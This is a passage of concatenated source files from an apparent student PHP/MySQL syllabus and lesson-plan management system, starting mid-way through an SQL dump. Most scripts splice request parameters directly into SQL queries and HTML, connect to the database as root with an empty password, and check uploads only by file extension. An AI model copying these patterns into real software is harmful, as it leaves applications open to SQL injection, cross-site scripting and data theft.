'amoalzona', 'Alzona', 1); -- -- Indexes for dumped tables -- -- -- Indexes for table `course` -- ALTER TABLE `course` ADD PRIMARY KEY (`CourseCode`), ADD UNIQUE KEY `CourseOrder` (`CourseOrder`); -- -- Indexes for table `file` -- ALTER TABLE `file` ADD PRIMARY KEY (`FileID`), ADD KEY `CourseID` (`CourseCode`), ADD KEY `CourseCode` (`CourseCode`), ADD KEY `UserID` (`UserID`); -- -- Indexes for table `pictures` -- ALTER TABLE `pictures` ADD PRIMARY KEY (`imageID`), ADD KEY `userID` (`userID`), ADD KEY `userID_2` (`userID`); -- -- Indexes for table `remarks` -- ALTER TABLE `remarks` ADD PRIMARY KEY (`RemarkID`), ADD KEY `FileID` (`FileID`), ADD KEY `FileID_2` (`FileID`); -- -- Indexes for table `schedule` -- ALTER TABLE `schedule` ADD PRIMARY KEY (`ScheduleID`), ADD KEY `CourseID` (`CourseCode`), ADD KEY `UserID` (`UserID`); -- -- Indexes for table `type_of_user` -- ALTER TABLE `type_of_user` ADD PRIMARY KEY (`TypeofUserNum`); -- -- Indexes for table `uploads` -- ALTER TABLE `uploads` ADD PRIMARY KEY (`imageID`); -- -- Indexes for table `user` -- ALTER TABLE `user` ADD PRIMARY KEY (`UserID`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `course` -- ALTER TABLE `course` MODIFY `CourseOrder` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=61; -- -- AUTO_INCREMENT for table `file` -- ALTER TABLE `file` MODIFY `FileID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=28; -- -- AUTO_INCREMENT for table `pictures` -- ALTER TABLE `pictures` MODIFY `imageID` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `remarks` -- ALTER TABLE `remarks` MODIFY `RemarkID` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `schedule` -- ALTER TABLE `schedule` MODIFY `ScheduleID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7; -- -- AUTO_INCREMENT for table `type_of_user` -- ALTER TABLE `type_of_user` MODIFY `TypeofUserNum` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT for table `uploads` -- ALTER TABLE `uploads` MODIFY `imageID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11; -- -- AUTO_INCREMENT for table `user` -- ALTER TABLE `user` MODIFY `UserID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- Constraints for dumped tables -- -- -- Constraints for table `file` -- ALTER TABLE `file` ADD CONSTRAINT `file_course_fk` FOREIGN KEY (`CourseCode`) REFERENCES `course` (`CourseCode`) ON DELETE NO ACTION ON UPDATE CASCADE, ADD CONSTRAINT `file_user_fk` FOREIGN KEY (`UserID`) REFERENCES `user` (`UserID`) ON DELETE NO ACTION ON UPDATE CASCADE; -- -- Constraints for table `remarks` -- ALTER TABLE `remarks` ADD CONSTRAINT `remarks_file_id` FOREIGN KEY (`FileID`) REFERENCES `file` (`FileID`) ON DELETE NO ACTION ON UPDATE CASCADE; -- -- Constraints for table `schedule` -- ALTER TABLE `schedule` ADD CONSTRAINT `schedule_course` FOREIGN KEY (`CourseCode`) REFERENCES `course` (`CourseCode`) ON DELETE NO ACTION ON UPDATE CASCADE, ADD CONSTRAINT `schedule_user` FOREIGN KEY (`UserID`) REFERENCES `user` (`UserID`) ON DELETE NO ACTION ON UPDATE CASCADE; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/UploadFileProcSyllabus.php <?php include ('database.php'); $get_coursecode = $_POST['code']; $get_file_name = $get_coursecode."_Syllabus.pdf"; if(isset($_POST['submitbtn'])){ $dir = "pdf/Syllabus/"; $file_name = $get_file_name; $target_file = $dir . basename($_FILES["fileUpload"]["name"]); $file_type = pathinfo($target_file,PATHINFO_EXTENSION); $file_size = $_FILES["fileUpload"]["size"]; $file_loc = $_FILES['fileUpload']['tmp_name']; $class = "Syllabus"; $stat = "Approve"; date_default_timezone_set('asia/manila'); $date= date('Y-m-d'); $time = date("h:i"); $time1 = date('h:i A', strtotime($time)); if ($file_type != "pdf"){ ?> <!--To check the file extension--> <script> alert('The file is not in a pdf format. Save the file first as pdf file then try upload again.'); window.location.href="adminSyllabus.php"; </script> <?php } else{ $new_size = $file_size/1024; //to convert to kb require ("sessionadmin.php"); if(move_uploaded_file($file_loc,$file_name)){ $sql="INSERT INTO file(FileType,FileName,FileSize,FileClass,DateUpload,TimeUpload,Week_num_for_WLAP,Status,CourseCode,UserID) VALUES('pdf','$file_name','$new_size','$class','$date','$time1','0','$stat','$get_coursecode','$IuserID')"; $query = mysqli_query($conn,$sql); if($query){ echo "<script> alert('Successfuly uploaded.'); window.location.href='adminSyllabus.php'; </script>"; } ?> <?php } else{ ?> <script> alert('Error while uploading the file.'); window.location.href="adminSyllabus.php"; </script> <?php } } } ?> <file_sep>/sessionadmin.php <?php require("database.php"); session_start();// Starting Session // Storing Session $user_check=$_SESSION['login_admin']; // SQL Query To Fetch Complete Information Of User $sql="SELECT user.Username,user.UserID,user.FirstName,user.LastName,LEFT(user.MiddleName,1) as 'MiddleName',user.ContactNum,user.Email,user.TypeofUserNum FROM user WHERE user.Username ='".$user_check."'"; $res = mysqli_query($conn,$sql); $row = mysqli_fetch_array($res); $login_session = $row['Username']; $vcontactnum = $row['ContactNum']; $vemail = $row['Email']; $vFirstName = $row['FirstName']; $vLastName = $row['LastName']; $vMiddleName = $row['MiddleName']; $fkTypeofUserNum = $row['TypeofUserNum']; $IuserID = $row['UserID']; if(!isset($login_session)){ mysqli_close($connection); // Closing Connection header('Location: adminLogin.php'); // Redirecting To Home Page } ?> <file_sep>/getsyllabus.php <?php require("database.php"); require("sessionadmin.php"); ?> <!DOCTYPE html> <html> <head> <style> .container-pdf * > .modal-body{ width:100%; height: calc(100vh - 125px); } .pdfobject-container{ width:100%; height: calc(100vh - 155px); } </style> </head> <body> <?php $q = $_GET['q']; require("database.php"); $sql="Select distinct T.CourseOrder,T.CourseName,T.CourseCode,T.UserID from (Select distinct c.CourseOrder,c.CourseName,c.CourseCode,s.UserID from schedule s RIGHT JOIN course c ON c.CourseCode = s.CourseCode )AS T WHERE T.CourseCode ='".$q."' ORDER by CourseName"; $result1 = mysqli_query($conn,$sql); ?> <table class="table table-scroll table-striped"> <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Action</th> </tr> </thead> <tbody style="width:80%; height:50%;"> <?php while ($othercourses = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $othercourses->CourseCode;?></td> <td id="desc"> <a data-toggle="modal" data-target="#modal_viewSyllabus<?php echo $othercourses->CourseCode;?>" id="down"><?php echo $othercourses->CourseName;?></a> </td> <td> <a href="DownloadFileAdminSylab.php?down=<?php echo $othercourses->CourseCode;?>_Syllabus.pdf" id="down"><i class="fa fa-download fa-fw"></i>Download</a> </td> </tr> <?php } ?> </tbody> </table> <div class="tab-content"> </div> <?php $q = $_GET['q']; require ("database.php"); $sql="Select CourseCode FROM file WHERE Week_num_for_WLAP=0 AND CourseCode ='".$q."'"; $result2 = mysqli_query($conn,$sql); ?> <!-- Popup view of Syllabus --> <div class="container-pdf"> <?php while ($course = mysqli_fetch_object($result2)){?> <div class="modal fade" id="modal_viewSyllabu1s<?php echo $course->CourseCode ?>" role="dialog"> <div class="modal-dialog modal-lg"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title"><?php echo $course->CourseCode ?> - Syllabus</h4> </div> <div class="modal-body"> <div id="pdf-container<?php echo $course->CourseCode?>"></div> <!--contrainer for view pdf --> </div> <!-- /#modal-body --> </div> <!-- /#modal-content --> </div> </div> <?php }?> </div> <?php $q = $_GET['q']; require ("database.php"); $sql="Select CourseCode FROM file WHERE Week_num_for_WLAP=0 AND CourseCode ='".$q."'"; $result2 = mysqli_query($conn,$sql); ?> <!-- Popup view of Syllabus --> <div class="container-pdf"> <?php while ($course = mysqli_fetch_object($result2)){?> <div class="modal fade" id="modal_viewSyllabus1<?php echo $course->CourseCode ?>" role="dialog"> <div class="modal-dialog modal-lg"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title"><?php echo $course->CourseCode ?> - Syllabus</h4> </div> <div class="modal-body"> <div id="pdf-container<?php echo $course->CourseCode?>"></div> <!--contrainer for view pdf --> </div> <!-- /#modal-body --> </div> <!-- /#modal-content --> </div> </div> <?php }?> </div> <?php $q = $_GET['q']; require ("database.php"); $sql="Select FileName, CourseCode FROM file WHERE Week_num_for_WLAP=0 AND CourseCode ='".$q."'"; $result3 = mysqli_query($conn,$sql); ?> <script> <?php while ($pdf = mysqli_fetch_object($result3)){?> PDFObject.embed(<?php echo "\"pdf/Syllabus/"; echo $pdf->FileName ; echo ".pdf\"";?>, "#pdf-container<?php echo $pdf->CourseCode;?>"); <?php }?> </script> <!-- PDFObject Location to Read and View PDF --> <script src="js/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="js/metisMenu.min.js"></script> <!-- Custom Theme JavaScript --> <script src="js/sb-admin-2.js"></script> <script src="js/customJS.js"></script> <!-- PDFObject Location to Read and View PDF --> </body> </html> <file_sep>/adminChanges.php <?php require("session.php"); require("database.php"); $error=''; // Variable To Store Error Message // Define $file $file=$_GET['id']; // SQL query to update status $sql="UPDATE File SET Status='Reject' WHERE FileID = '".$file."'"; $res = mysqli_query($conn,$sql); if($res){ echo "<script> window.location.href='adminHome.php'; </script>"; } else { echo "Error :" .$sql. "<br>".mysqli_error($conn); } mysqli_close($conn); ?> <file_sep>/getcourse.php <?php require("database.php"); require("sessionadmin.php"); ?> <!DOCTYPE html> <html> <head> <style> </style> </head> <body> <?php $q = $_GET['q']; require("database.php"); $sql="Select distinct T.CourseOrder,T.CourseName,T.CourseCode,T.UserID from (Select distinct c.CourseOrder,c.CourseName,c.CourseCode,s.UserID from schedule s RIGHT JOIN course c ON c.CourseCode = s.CourseCode )AS T WHERE (T.UserID !='".$IuserID."' or T.UserID is NULL) AND T.CourseCode ='".$q."' ORDER by CourseName"; $result1 = mysqli_query($conn,$sql); ?> <table class="table table-scroll table-striped" > <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Action</th> </tr> </thead> <tbody style="width:80%; height:50%;"> <?php while ($othercourses = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $othercourses->CourseCode;?></td> <td id="desc"><?php echo $othercourses->CourseName;?></td> <td><a href="adminWLAPothercourses.php?id=<?php echo $othercourses->CourseOrder;?>">View list</a></td> </tr> <?php } ?> </tbody> </table> <div class="tab-content"> </div> <script src="js/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="js/metisMenu.min.js"></script> <!-- Custom Theme JavaScript --> <script src="js/sb-admin-2.js"></script> <script src="js/customJS.js"></script> </body> </html> <file_sep>/database.php <?php $serverName = 'localhost'; //serverName\instanceName $conn = mysqli_connect( $serverName, 'root','','sylap' ); ?> <file_sep>/UploadFileProcAdminWLAP.php <?php include ('configtest.php'); $get_file_name = $_GET['id']; $get_file_week = $_GET['week']; if(isset($_POST['submitbtn'])){ $dir = "pdf/WLAP/"; $file_name = $get_file_name; $type= ".pdf"; $target_file = $dir . basename($_FILES["fileUpload"]["name"]); $file_type = pathinfo($target_file,PATHINFO_EXTENSION); $file_size = $_FILES["fileUpload"]["size"]; $file_loc = $_FILES['fileUpload']['tmp_name']; $class = "WLAP"; $week = $get_file_week; $stat = "Approved"; $date= date('Y-m-d'); $time = date("h:i"); $time1 = date('h:i A', strtotime($time)); $get_coursecode = $_GET['coursecode']; if ($file_type != "pdf"){ ?> <!--To check the file extension--> <script> alert('The file is not in a pdf format. Save the file first as pdf file then try upload again.'); window.location.href="adminWLAP.php"; </script> <?php } else{ $new_size = $file_size/1024; //to convert to kb require ("sessionadmin.php"); if(move_uploaded_file($file_loc,$dir.$file_name.$type)){ $sql="UPDATE file SET FileSize = '$new_size', DateUpload= '$date', TimeUpload= '$time1',UserID= '$IuserID' WHERE FileName = '$file_name' AND Status = '$stat' "; $query = mysqli_query($conn,$sql); if($query){ echo "<script> alert('Successfuly uploaded.'); window.location.href='adminWLAP.php'; </script>"; } ?> <?php } else{ ?> <script> alert('Error while uploading the file.'); window.location.href="adminWLAP.php"; </script> <?php } } } ?> <file_sep>/adminAddSchedule.php <?php require("database.php"); require("sessionadmin.php"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Admin | WLAP and Syllabus Management System</title> <!-- Styles --> <style> body { background:none !important; background-color: #fff !important; } </style> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/style.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="font-awesome-4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> </head> <body> <div id="wrapper"> <!-- Navigation --> <nav class="navbar navbar-default navbar-fixed-top" role="navigation" style="margin-bottom: 0"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#"><img src="img/logo.png" style="margin-top:-12px;"></a> </div> <!-- /.navbar-header --> <ul class="nav navbar-nav navbar-right" style="margin-right:25px;"> <li><a href="#"><i class="fa fa-user-circle-o fa-fw"></i>&nbsp;<?php echo $vFirstName; ?> <?php echo $vMiddleName; ?>. <?php echo $vLastName; ?></a></li> </ul> <div class="navbar-default sidebar" role="navigation"> <div class="sidebar-nav navbar-collapse text-center"> <ul class="nav" id="side-menu"> <li> <a href="adminHome.php"><i class="fa fa-3x fa-home fa-fw"></i><br>Home</a> </li> <li> <a href="adminWLAP.php"><i class="fa fa-3x fa-calendar-o fa-fw"></i><br>WLAP</a> </li> <li> <a href="adminSyllabus.php"><i class="fa fa-3x fa-file-text-o fa-fw"></i><br>Syllabus</a> </li> <li> <a href="#"><i class="fa fa-3x fa-id-card-o fa-fw"></i><br>Faculty</a> </li> <li> <a href="adminlogout.php"><i class="fa fa-3x fa-sign-out fa-fw"></i><br>Logout</a> </li> </ul> </div> <!-- /.sidebar-collapse --> </div> <!-- /.navbar-static-side --> </nav> <div id="page-wrapper"> <div class="row"> <div class="col-lg-12"> <h2 class="page-header">Faculty Management </h1> </div> <!-- /.col-lg-12 --> </div> <div class="row"> <div class="col-lg-5"> <!-- Faculty List --> <div class="panel panel-green"> <div class="panel-heading"> <i class="fa fa-search fa-fw"></i>&nbsp; Search Faculty </div> <!-- /.panel-heading --> <div class="panel-body" style="height:415px;"> <form class="navbar-form"> <div class="form-group"> <a data-toggle="modal" data-target="#modal_addFaculty" style="margin-left:280px;"><b>+ Add Faculty</b></a> </div> </form> <table class="table table-scroll table-striped"> <thead> <tr> <th>Faculty Name</th> <th>Action</th> </tr> </thead> <?php require ("database.php"); $sql="SELECT user.UserID,user.FirstName,user.LastName,LEFT(user.MiddleName,1) as 'MiddleName',user.TypeofUserNum FROM user WHERE user.TypeofUserNum !=2 "; $result1 = mysqli_query($conn,$sql); ?> <tbody style="width:89%; height:60%;"> <?php while ($faculty = mysqli_fetch_object($result1)){?> <tr> <td id="name"><?php echo $faculty->FirstName; ?> <?php echo $faculty->MiddleName; ?>. <?php echo $faculty->LastName; ?></td> <td><a href="adminFacultyMgmtSchedule.php?userid=<?php echo $faculty->UserID;?>">View</a> | <a href="adminAddSchedule.php?userid=<?php echo $faculty->UserID;?>">Add</a></td> </td> </tr> <?php } ?> </tbody> </table> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-4 --> <div class="col-lg-7"> <?php require ("database.php"); $UserID=$_GET['userid']; $sql="SELECT user.UserID,user.FirstName,user.LastName,LEFT(user.MiddleName,1) as 'MiddleName',user.TypeofUserNum FROM user WHERE user.UserID ='".$UserID."'"; $result1 = mysqli_query($conn,$sql); ?> <div class="panel panel-green"> <?php while ($faculty = mysqli_fetch_object($result1)){?> <div class="panel-heading"> <i class="fa fa-calendar fa-fw"></i>&nbsp; Engr.<?php echo $faculty->FirstName; ?> <?php echo $faculty->LastName; ?>'s Add Schedule </div> <?php } ?> <!-- /.panel-heading --> <div class="panel-body" style="overflow-y:auto; height:415px;"> <form action ="submitprof.php?userid=<?php echo $_GET['userid']; ?>" method="post" class="form" role="form"> <div class="form-inline"> <div id="newCourse"> Course:&nbsp; <?php require ("database.php"); $UserID=$_GET['userid']; $sql="Select CourseCode from course"; $course = mysqli_query($conn,$sql); ?> <select class="form-control" id="courseCode" name="code"> <?php while ($coursecode = mysqli_fetch_object($course)){?> <option><?php echo $coursecode->CourseCode; ?> </option> <?php } ?> </select> <br><br><label for=section>Section:</label>&nbsp; <input class="form-control" id="lname" type="text" name="section" placeholder="Enter section" required>&nbsp; &nbsp; Day: &nbsp; <select class="form-control" id="day" name="day"> <option>Day</option> <option>Monday</option> <option>Tuesday</option> <option>Wednesday</option> <option>Thursday</option> <option>Friday</option> <option>Saturday</option> </select> <br> <br> Start: &nbsp;&nbsp;&nbsp; &nbsp; <input class="form-control" id="start" type="time" name="timeIN" style="width:125px;"required> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End: &nbsp; <input class="form-control" id="end" type="time" name="timeOUT" style="width:125px;"required> <br> <br> Room: &nbsp; &nbsp; <input class="form-control" id="room" type="text" placeholder="Room" name="room" style="width:90px;"required> <br> </div> <span class="pull-left" style="margin-top:20px; margin-left:150px;"> <button type="submit" name="submitschedule" class="btn btn-sub">Submit</button> </span> </div> </form> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-6 --> </div> <!-- /.row --> <!-- Popup add faculty --> <div class="modal fade" id="modal_addFaculty" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content" style="width:500px; height:520px;"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title">+ Add Faculty</h4> </div> <div class="modal-body"> <form action ="submitprof.php" method="post" class="form" role="form"> <div class="form-group col-lg-10"> <label for=lname>Last Name</label> <input class="form-control" id="lname" type="text" name="LN" placeholder="Enter last name" required><br> <label for=fname>First Name</label> <input class="form-control" id="fname" type="text" name="FN" placeholder="Enter first name" required><br> <label for=mname>Middle Name</label> <input class="form-control" id="mname" type="text" name="MN" placeholder="Enter middle name"><br> <label for=num>Contact Number</label> <input class="form-control" id="num" type="text" name="cnumber" placeholder="Enter contact number" required><br> <label for=email>Email Address</label> <input class="form-control" id="email" type="email" name="email" placeholder="Enter email address" required> <button type="Submit" name="submit" class="btn btn-sub"><b>Submit &nbsp;<i class="fa fa-arrow-right"></i></b></button> </div> </form> </div> </div> </div> </div> <!-- /#Popup window --> <!-- Footer --> <footer class="text-center"> <div class="footer-below"> <div class="container"> <div class="row"> <div class="col-lg-12" style="color:#666666;"> Copyright &copy; WLAP and Syllabus Management System 2017 </div> </div> </div> </div> </footer> </div> <!--/#page-wrapper --> </div> <!-- /#wrapper --> <!-- jQuery --> <script src="js/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="js/metisMenu.min.js"></script> <!-- Custom Theme JavaScript --> <script src="js/sb-admin-2.js"></script> <script src="js/customJS.js"></script> </body> </html> <file_sep>/README.md # SoftEng project sa Software Engineering Hello guys so here is our project in Software Engineering <file_sep>/adminWLAP.php <?php require("database.php"); require("sessionadmin.php"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>WLAP and Syllabus Management System</title> <!-- Styles --> <style> body { background:none !important; background-color: #fff !important; } </style> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/style.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="font-awesome-4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> </head> <body> <div id="wrapper"> <!-- Navigation --> <nav class="navbar navbar-default navbar-fixed-top" role="navigation" style="margin-bottom: 0"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#"><img src="img/logo.png" style="margin-top:-12px;"></a> </div> <!-- /.navbar-header --> <ul class="nav navbar-nav navbar-right" style="margin-right:25px;"> <li><a href="#"><i class="fa fa-user-circle-o fa-fw"></i>&nbsp;<?php echo $vFirstName; ?> <?php echo $vMiddleName; ?>. <?php echo $vLastName; ?></a></li> </ul> <div class="navbar-default sidebar" role="navigation"> <div class="sidebar-nav navbar-collapse text-center"> <ul class="nav" id="side-menu"> <li> <a href="adminHome.php"><i class="fa fa-3x fa-home fa-fw"></i><br>Home</a> </li> <li> <a href="adminWLAP.php"><i class="fa fa-3x fa-calendar-o fa-fw"></i><br>WLAP</a> </li> <li> <a href="adminSyllabus.php"><i class="fa fa-3x fa-file-text-o fa-fw"></i><br>Syllabus</a> </li> <li> <a href="adminFacultyMgmt.php"><i class="fa fa-3x fa-id-card-o fa-fw"></i><br>Faculty</a> </li> <li> <a href="adminlogout.php"><i class="fa fa-3x fa-sign-out fa-fw"></i><br>Logout</a> </li> </ul> </div> <!-- /.sidebar-collapse --> </div> <!-- /.navbar-static-side --> </nav> <div id="page-wrapper"> <div class="row"> <div class="col-lg-12"> <h2 class="page-header">WLAP</h1> </div> <!-- /.col-lg-12 --> </div> <div class="row"> <div class="col-lg-7"> <div class="panel panel-green"> <div class="panel-heading"> <i class="fa fa-search fa-fw"></i>&nbsp; Search WLAP </div> <!-- /.panel-heading --> <div class="panel-body"> <!-- Nav tabs --> <ul class="nav nav-tabs nav-justified"> <li class="active"><a href="#mycourses" data-toggle="tab">My Courses</a> </li> <li><a href="#other" data-toggle="tab">Other Courses</a> </li> </ul> <!-- Tab panes --> <div class="tab-content"><br> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct c.CourseOrder,c.CourseName,s.CourseCode from schedule s INNER JOIN course c ON c.CourseCode = s.CourseCode WHERE s.userID = '".$IuserID."' ORDER by c.CourseName "; $result1 = mysqli_query($conn,$sql); ?> <div class="tab-pane fade in active" id="mycourses"> <table class="table table-scroll table-striped"> <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Action</th> </tr> </thead> <tbody style="width:80%; height:50%;"> <?php while ($course = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $course->CourseCode;?></td> <td id="desc"><?php echo $course->CourseName;?></td> <td><a href="adminWLAPcourses.php?id=<?php echo $course->CourseOrder;?>">View list</a></td> </tr> <?php } ?> </tbody> </table> </div> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct T.CourseOrder,T.CourseName,T.CourseCode,T.UserID from (Select distinct c.CourseOrder,c.CourseName,c.CourseCode,s.UserID from schedule s RIGHT JOIN course c ON c.CourseCode = s.CourseCode )AS T WHERE T.UserID !='".$IuserID."' or T.UserID is NULL ORDER by CourseName"; $result1 = mysqli_query($conn,$sql); ?> <div class="tab-pane fade" id="other"> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct T.CourseCode from (Select distinct c.CourseOrder,c.CourseName,c.CourseCode,s.UserID from schedule s RIGHT JOIN course c ON c.CourseCode = s.CourseCode )AS T WHERE T.UserID !='".$IuserID."' or T.UserID is NULL ORDER by CourseName"; $result2 = mysqli_query($conn,$sql); ?> <form> &nbsp; &nbsp; &nbsp; Find course code: &nbsp; <select name="users" onchange="showUser(this.value)"> <?php while ($othercourses = mysqli_fetch_object($result2)){?> <option value="<?php echo $othercourses->CourseCode;?>"><?php echo $othercourses->CourseCode;?></option> <?php } ?> </select> </form> <br> <div class="panel-body" id="txtHint"> <table class="table table-scroll table-striped"> <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Action</th> </tr> </thead> <tbody style="width:80%; height:50%;"> <?php while ($othercourses = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $othercourses->CourseCode;?></td> <td id="desc"><?php echo $othercourses->CourseName;?></td> <td><a href="adminWLAPothercourses.php?id=<?php echo $othercourses->CourseOrder;?>">View list</a></td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-6 --> <div class="col-lg-4"> <!-- WLAP List of My Courses --> <div class="panel panel-green" style="display:none;" id="WLAPList"> <div class="panel-heading" id="code"> </div> <!-- /.panel-heading --> <!-- /.panel-body --> </div> <!-- /.panel --> <!-- WLAP List of Other Courses --> <!-- /.panel --> </div> <!-- /.col-lg-4 --> </div> <!-- /.row --> <!-- Popup for remarks --> </div> <!-- /#Popup window --> <!-- Popup view of WLAP --> <!-- /#Popup window --> <!-- Footer --> <footer class="text-center"> <div class="footer-below"> <div class="container"> <div class="row"> <div class="col-lg-12" style="color:#666666;"> Copyright &copy; WLAP and Syllabus Management System 2017 </div> </div> </div> </div> </footer> </div> <!--/#page-wrapper --> </div> <!-- /#wrapper --> <!-- jQuery --> <script src="js/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="js/metisMenu.min.js"></script> <!-- Custom Theme JavaScript --> <script src="js/sb-admin-2.js"></script> <script src="js/customJS.js"></script> <script> function showUser(str) { if (str == "") { document.getElementById("txtHint").innerHTML = ""; return; } else { if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("txtHint").innerHTML = this.responseText; } }; xmlhttp.open("GET","getcourse.php?q="+str,true); xmlhttp.send(); } } </script> </body> </html> <file_sep>/adminSyllabus.php <?php require("database.php"); require("sessionadmin.php"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>WLAP and Syllabus Management System</title> <!-- Styles --> <style> body { background:none !important; background-color: #fff !important; } .container-pdf * > .modal-body{ width:100%; height: calc(100vh - 125px); } .pdfobject-container{ width:100%; height: calc(100vh - 155px); } .btnPos { padding-left: 100px; padding-right: 100px; padding-bottom: 20px; text-align:center; } .inputFile { position: absolute; opacity: 0; } </style> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/style.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="font-awesome-4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> </head> <body> <div id="wrapper"> <!-- Navigation --> <nav class="navbar navbar-default navbar-fixed-top" role="navigation" style="margin-bottom: 0"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#"><img src="img/logo.png" style="margin-top:-12px;"></a> </div> <!-- /.navbar-header --> <ul class="nav navbar-nav navbar-right" style="margin-right:25px;"> <li><a href="#"><i class="fa fa-user-circle-o fa-fw"></i>&nbsp;<?php echo $vFirstName; ?> <?php echo $vMiddleName; ?>. <?php echo $vLastName; ?></a></li> </ul> <div class="navbar-default sidebar" role="navigation"> <div class="sidebar-nav navbar-collapse text-center"> <ul class="nav" id="side-menu"> <li> <a href="adminHome.php"><i class="fa fa-3x fa-home fa-fw"></i><br>Home</a> </li> <li> <a href="adminWLAP.php"><i class="fa fa-3x fa-calendar-o fa-fw"></i><br>WLAP</a> </li> <li> <a href="adminSyllabus.php"><i class="fa fa-3x fa-file-text-o fa-fw"></i><br>Syllabus</a> </li> <li> <a href="adminFacultyMgmt.php"><i class="fa fa-3x fa-id-card-o fa-fw"></i><br>Faculty</a> </li> <li> <a href="adminlogout.php"><i class="fa fa-3x fa-sign-out fa-fw"></i><br>Logout</a> </li> </ul> </div> <!-- /.sidebar-collapse --> </div> <!-- /.navbar-static-side --> </nav> <div id="page-wrapper"> <div class="row"> <div class="col-lg-12"> <h2 class="page-header">Syllabus</h> <span class="pull-right" style="margin-top:-20px;"> <button type="submit" name="submitbtn" class="btn btn-sub" data-toggle="modal" data-target="#modal_upload" id="up">Add Syllabus</button> </span> </div> <!-- /.col-lg-12 --> </div> <div class="row"> <div class="col-lg-7"> <div class="panel panel-green"> <div class="panel-heading"> <i class="fa fa-search fa-fw"></i>&nbsp; Search Syllabus </div> <!-- /.panel-heading --> <div class="panel-body"> <!-- Nav 